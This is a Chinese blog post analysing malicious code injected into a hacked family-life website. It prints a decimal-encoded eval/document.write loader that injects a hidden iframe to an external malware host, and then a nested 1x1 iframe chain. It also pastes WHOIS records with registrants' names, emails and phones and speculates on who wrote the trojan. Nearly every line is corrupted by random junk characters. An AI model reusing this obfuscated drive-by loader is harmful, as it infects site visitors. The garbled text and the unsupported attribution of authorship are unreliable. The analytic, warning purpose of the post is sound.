首发在我的博客里面，
|&) dh< | rtD.,m http://www.areway.cn/?p=175 !ons]^km MaQqs= :>f )g 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
@,7GaK\ A i?*s%8v <script>t=’60,105,102,114,97,109,101,
,Uqs1#r 32,115,114,99,61,104,116,116,112,58,47,47,
joAv {Tc 102,114,101,101,46,117,45,117,117,117,46,99,
f+ )L#>Gl? 110,47,101,114,114,111,114,46,104,116,109,
C1n>M}b 32,119,105,100,116,104,61,49,48,48,32,104,
H3 =qe I 101,105,103,104,116,61,48,62,60,47,105,102,
s)D;a-F 114,97,109,101,62′;
+_ oJ}KI t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
h]} wp;Z #gs`#6 ,' <script>t=’60,105,102,114,97,109,101,32,115,
29] G^f> 114,99,61,104,116,116,112,58,47,47,102,114,
08\, <9 101,101,46,117,45,117,117,117,46,99,110,47,
eJX9_6m- 101,114,114,111,114,46,104,116,109,32,119,
_|I#{jK 105,100,116,104,61,49,48,48,32,104,101,105,
zL0pw'4 103,104,116,61,48,62,60,47,105,102,114,97,
{ROVvs` 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
Vv=. -&' document.write(t);</script>
|3"KK +lcb i <html xmlns=”
4p;` C http://www.w3.org/1999/xhtml -- 95Jz “>
q t"m <head>
MH\dC9%p <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
\V~eVf;~ <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
M oza".fiN <title>首页 - 爱生活家庭网
H40p 86@M XK@E;Rv 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
HBXOjr<,{ 转换字符串后的大概内容是（谁点击后果自付）：
3; {kJ Q <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
mNTzUoZF'@ w;amZgD> 查询玉米u-uuu.cn的详细信息：
~H sJUro Domain Name: u-uuu.cn
N5
6g+,w%) ROID: 20070901s10001s64972306-cn
Z=o2H Bm7 Domain Status: ok
3;A)W 18] Registrant Organization: 王雷
SO'vp z{ Registrant Name: 王雷
N<VJ(20y Administrative Email:
czlovexs@126.com y?? XIsF Sponsoring Registrar: 北京万网志成科技有限公司
x
g Name Server:ns.yovole.com
vXZOy%$o Name Server:ns1.yovole.com
'_Fsv HQ Registration Date: 2007-09-01 17:54
f46t9dxp$ Expiration Date: 2008-09-01 17:54
PKiy5D*8p 最后PING了一下地址 都没有什么….
=-n}[Y}A nmKp[-5 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
9qzHS~l <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
WW~sNC\3`( <script language=”javascript” src=”
p} ~JgEE http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script 6O! 2P >
i< Z c"v; 这个玉米应该有可能是木马作者的：
VjZ|$k foafau.info的详细信息：
`b7t4d* Access to INFO WHOIS information is provided to assist persons in
Iit; F determining the contents of a domain name registration record in the
?IT*: A] E Afilias registry database. The data in this record is provided by
U$z-e/ Afilias Limited for informational purposes only, and Afilias does not
meO:@Z0 guarantee its accuracy. This service is intended only for query-based
)Y{L&A access. You agree that you will use this data only for lawful purposes
+',S]Edx and that, under no circumstances will you use this data to: (a) allow,
y766;
X:J enable, or otherwise support the transmission by e-mail, telephone, or
=GM kR+<) facsimile of mass unsolicited, commercial advertising or solicitations
.}~_a7 6 to entities other than the data recipient’s own existing customers; or
v`Oc , (b) enable high volume, automated, electronic processes that send
je=a/Y=%U{ queries or data to the systems of Registry Operator, a Registrar, or
'I6i ,+D/q Afilias except as reasonably necessary to register domain names or
z<XtS[ki modify existing registrations. All rights reserved. Afilias reserves
)1`0PJoHE the right to modify these terms at any time. By submitting this query,
w_K1]<Q* you agree to abide by this policy.
m~0/&RA Domain ID:D22418703-LRMS
$B5aje}i Domain Name:FOAFAU.INFO
r52gn(, Created On:20-Nov-2007 16:05:42 UTC
6mxfLlZ Last Updated On:20-Nov-2007 16:05:44 UTC
00~mOK;1 Expiration Date:20-Nov-2008 16:05:42 UTC
~V1E0qdAE Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
}N6.Uu 5zI Status:CLIENT DELETE PROHIBITED
` 7V]y - Status:CLIENT RENEW PROHIBITED
56 kI
5: Status:CLIENT TRANSFER PROHIBITED
#?- wm Status:CLIENT UPDATE PROHIBITED
],Do6
@M- Status:TRANSFER PROHIBITED
$5%SNzzl Registrant ID:GODA-040110615
;+ hH Registrant Name:liu hong
f?X)k,m Registrant Organization:
k=T\\]KxC Registrant Street1:beijing
?J > Registrant Street2:
7 ? w*] Registrant Street3:
Ne1$ee. NE Registrant City:beijing
Si;H0uP O Registrant State/Province:
K_Eux rPn Registrant Postal Code:100000
5MJS
~( Registrant Country:CN
#BH*Z( Registrant Phone:+86.860108888777
p}U ~+:v Registrant Phone Ext.:
Yufc{M00 Registrant FAX:
$suzW;{# Registrant FAX Ext.:
U 0P~ Registrant Email:bbbshiji@163.com
1f=gYzuO) Admin ID:GODA-240110615
":QZ y8f9% Admin Name:liu hong
ee76L&: Admin Organization:
DT& @^$? Admin Street1:beijing
| [b{)s?x Admin Street2:
7a<DKB Admin Street3:
}a(dy r`S Admin City:beijing
0*{%=M Admin State/Province:
m
G YoM Admin Postal Code:100000
k!'a, R: Admin Country:CN
,/|T-Ka Admin Phone:+86.860108888777
#5o(h+w) Admin Phone Ext.:
lA8`l> I Admin FAX:
]Gq !`O1 Admin FAX Ext.:
:P 0mx Admin Email:bbbshiji@163.com
iSs:oH3l Billing ID:GODA-340110615
[FR`Z=% Billing Name:liu hong
/R wjCUf Billing Organization:
q9s=~d7 Billing Street1:beijing
Jij*x> K>y Billing Street2:
T</F
0su| Billing Street3:
V1B5w_^>h' Billing City:beijing
p9{mS7R9T Billing State/Province:
>(t6.= Billing Postal Code:100000
tf`^v6 m%] Billing Country:CN
ds [| Billing Phone:+86.860108888777
q F;|bF Billing Phone Ext.:
!%%6dB@%t Billing FAX:
Se =`N Billing FAX Ext.:
,.FxI l ] Billing Email:bbbshiji@163.com
t'k$&l}+ Tech ID:GODA-140110615
3AN/
H Tech Name:liu hong
R~ q]JSIC@ Tech Organization:
|Ds1 Tech Street1:beijing
- m~#Bq Tech Street2:
gV_}-VvP Tech Street3:
4~Q/"hMSkO Tech City:beijing
>}6%#CAf Tech State/Province:
3L}A3de' Tech Postal Code:100000
St*h>V6 Tech Country:CN
PB\x3pV!} Tech Phone:+86.860108888777
gp.^~p]x Tech Phone Ext.:
?m"( S oh Tech FAX:
JY(WK@ Tech FAX Ext.:
2`=7 _v Tech Email:bbbshiji@163.com
_KAQ}G 3 Name Server:NS27.DOMAINCONTROL.COM
^s"R$?;h Name Server:NS28.DOMAINCONTROL.COM
;>7De8v@@ Name Server:
I51@QJX Name Server:
{F.[&/A Name Server:
nZYBE03 0 Name Server:
E$p+}sP (C Name Server:
9~[Y-cpoi Name Server:
I9ep`X6Y Name Server:
< h *4Q Name Server:
&0JI!bR( Name Server:
k@ W1-D? Name Server:
Lt>IX") Name Server:
JDT`C2-Q P@c5pc#| 接着下载每个文件里面的代码：
61'XgkacDS 一步一步看..
r mg}N 
7J< 5f) 
QhJiB%M 
8 v%o," 
&^Q/,H~S 
c\AfaK^KF 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
